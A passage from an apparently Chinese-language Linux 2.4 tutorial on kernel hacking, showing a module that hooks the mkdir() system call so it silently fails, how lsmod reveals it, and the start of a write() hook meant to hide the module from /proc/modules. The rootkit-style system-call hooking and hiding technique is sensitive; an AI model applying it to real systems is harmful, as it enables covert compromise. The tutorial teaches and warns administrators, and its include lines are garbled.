r own system
KERNELDIR=/usr/src/linux-2.4
?
CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \
-O -Wall
?
include $(KERNELDIR)/configs/kernel-2.4.18-i686.config
?
ifdef CONFIG_SMP
?? CFLAGS+=-D__SMP__ -DSMP
endif
?
all: hack_mkdir.o
?
clean:
?? rm -f *.o *~ core
不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。
#/sbin/insmod hack_mkdir.o
warnning:it will taint the kernel.
#mkdir test
#ls
hack_mkdir.c ?hack_mkdir.o? Makefile
你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。
#/sbin/rmmod hack_mkdir
#mkdir test
#ls
hack_mkdir.c? hack_mkdir.o? Makefile? test
移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。
由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。
事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:
hack_mkdir??? 8192??? 0(unused)
因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。
下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。
比如,向终端写字符串“this is a test”。
?
#strace echo “this is a test”
… …
write (1, "this is a test\n", 15)?????? ?= 15
munmap (0x40056000, 4096)??????????????? ??= 0
_exit (0)?????????????????????????????? ??????= ?
?
由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。
/*
*hack_write.c???????????????? David???? 2003-4-19
*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.
*/
?
#include
#include
#include
#include ??? /*for kmalloc() & kfree() */
#include /*for strncpy_from_user() */
#include
#include
?
extern void* sys_call_table[];
extern void kfree(const void *);
extern 上一页 [1] [2] [3] [4] 下一页 [C语言系列]C# 和 Linux 时间戳转换 [Web开发]PHP flock文件锁介绍 [Web开发]flock() Linux下的文件锁 [电脑应用]Linux下的六个免费的虚拟主机管理系统介绍 [电脑应用]Linux数据库大比拚 [操作系统]在Windows中玩转Linux操作系统 [办公软件]在RedHat Linux 9里安装gaim0.80 [办公软件]掌握 Linux 调试技术 [办公软件]理解 Linux 配置文件 [聊天工具]Real10 & Xpdf installation on Linux Box
|